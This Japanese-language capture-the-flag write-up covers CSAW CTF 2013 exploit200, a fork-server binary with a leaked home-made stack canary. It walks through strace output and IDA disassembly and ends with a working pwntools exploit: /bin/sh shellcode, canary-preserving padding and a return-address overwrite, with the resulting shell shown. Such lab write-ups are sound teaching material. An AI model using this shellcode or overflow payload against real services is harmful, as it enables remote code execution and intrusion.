CSAW CTF 2013 exploit200 [writeup]

問題バイナリ shell-storm.org

まずバイナリを実行してみると、何も表示されず動作が全くわからなかった。 いわゆるfork-server型の問題、初めてだったので他の方のサイトを参考にして進めた。

$ strace ./exploit2

を実行してシステムコールを追うことができる。

starce結果

(中略)
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(31338), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 100)                          = 0
rt_sigaction(SIGCHLD, {sa_handler=0x80487e4, sa_mask=[], sa_flags=SA_RESTART}, NULL, 8) = 0
accept(3, 

bind,listen,acceptしている。
バイナリはacceptで外部クライアントからの接続待ちをし、接続されるとfork()を呼び出すことでクライアントの処理を別プロセスに渡す。
こうすることで親プロセスとあるクライアントが接続している間に別のクライアントが接続できない事態を避けている。(多分)
ちなみにsin_port=htons(31338)からポート番号が31338だとわかる。

次にexploit2を実行した状態で別のターミナルから接続を行う。

pc@surface-pro-3:~$ nc localhost 31338
�:��D��Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

よくわからない文字列が表示された後、入力を受け付ける。 ちなみにこの文字列はhexdumpで確認すると8byteある。

続いてこのバイト列の正体を知りたいので、IDAを使って見ていく。 IDAでhandleという関数に以下のアセンブリを発見できる。

アセンブリ

.text:0804880D ; Attributes: bp-based frame
.text:0804880D
.text:0804880D ; void __cdecl handle(int newsock)
.text:0804880D                 public handle
.text:0804880D handle          proc near               ; CODE XREF: main+2A9↓p
.text:0804880D
.text:0804880D buffer          = byte ptr -80Ch
.text:0804880D cookie          = dword ptr -0Ch
.text:0804880D newsock         = dword ptr  8
.text:0804880D
.text:0804880D                 push    ebp
.text:0804880E                 mov     ebp, esp
.text:08048810                 push    edi
.text:08048811                 push    ebx
.text:08048812                 sub     esp, 820h
.text:08048818                 mov     [ebp+cookie], 0
.text:0804881F                 lea     eax, [ebp+buffer]
.text:08048825                 mov     ebx, eax
.text:08048827                 mov     eax, 0
.text:0804882C                 mov     edx, 200h
.text:08048831                 mov     edi, ebx
.text:08048833                 mov     ecx, edx
.text:08048835                 rep stosd
.text:08048837                 mov     dword ptr [esp], 0
.text:0804883E                 call    _time
.text:08048843                 mov     [esp], eax
.text:08048846                 call    _srand
.text:0804884B                 call    _rand
.text:08048850                 mov     ds:secret, eax
.text:08048855                 mov     eax, ds:secret
.text:0804885A                 mov     [ebp+cookie], eax
.text:0804885D                 lea     eax, [ebp+buffer]
.text:08048863                 lea     edx, [ebp+buffer]
.text:08048869                 mov     [eax], edx
.text:0804886B                 mov     dword ptr [esp+0Ch], 0
.text:08048873                 mov     dword ptr [esp+8], 4
.text:0804887B                 lea     eax, [ebp+buffer]
.text:08048881                 mov     [esp+4], eax
.text:08048885                 mov     eax, [ebp+newsock]
.text:08048888                 mov     [esp], eax
.text:0804888B                 call    _send
.text:08048890                 mov     dword ptr [esp+0Ch], 0
.text:08048898                 mov     dword ptr [esp+8], 4
.text:080488A0                 lea     eax, [ebp+cookie]
.text:080488A3                 mov     [esp+4], eax
.text:080488A7                 mov     eax, [ebp+newsock]
.text:080488AA                 mov     [esp], eax
.text:080488AD                 call    _send
.text:080488B2                 mov     dword ptr [esp+0Ch], 0
.text:080488BA                 mov     dword ptr [esp+8], 63h
.text:080488C2                 mov     dword ptr [esp+4], offset aWelcomeToCsawC ; "Welcome to CSAW CTF.  Exploitation 2 wi"...
.text:080488CA                 mov     eax, [ebp+newsock]
.text:080488CD                 mov     [esp], eax
.text:080488D0                 call    _send
.text:080488D5                 mov     dword ptr [esp+0Ch], 0
.text:080488DD                 mov     dword ptr [esp+8], 1000h
.text:080488E5                 lea     eax, [ebp+buffer]
.text:080488EB                 mov     [esp+4], eax
.text:080488EF                 mov     eax, [ebp+newsock]
.text:080488F2                 mov     [esp], eax
.text:080488F5                 call    _recv
.text:080488FA                 mov     [ebp+buffer+7FFh], 0
.text:080488FE                 mov     edx, [ebp+cookie]
.text:08048901                 mov     eax, ds:secret
.text:08048906                 cmp     edx, eax
.text:08048908                 jz      short loc_8048921

これがおそらく子プロセスの処理だろう。
"Welcome to CSAW CTF. Exploitation 2 wi".の部分から察するに、call sendによって[esp+4]をクライアントに送信している。
全体でsendが3つあるので、最初の二つ(bufferの先頭アドレスとsecretの値)が「よくわからんバイト列」に当たる。

頑張って読んでみると、cookieにsecret(rand)の値が入り、(recvで受け取った)入力値はbufferに入ることがわかる。

最後のcmpでsecretとcookieの値を照合している。
つまり、自前でstack canaryを実装していることになる。

以上を踏まえると、canaryの値を変更しないようにリターンアドレスをシェルコードに向けて書き換えればよい。

エクスプロイトコード

from pwn import *
context(os='linux', arch='i386')

p = remote('localhost',31338)

shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

buf_addr=(p.recv(4))
secret=(p.recv(4))

payload=''
payload+=shellcode
payload+='A'*(0x800-len(shellcode))
payload+=secret
payload+='A'*12
payload+=buf_addr
p.sendline(payload)

p.interactive()

実行結果
exploit2を実行しているターミナルでbashが起動する。

pc@surface-pro-3:~/pwn/csaw2013$ ./exploit2
Got a connection from 127.0.0.1 on port 33280
$ ls
e2.py     exploit2.id0  exploit2.id2  exploit2.til  miteegashun
exploit2  exploit2.id1  exploit2.nam  fil_chal
$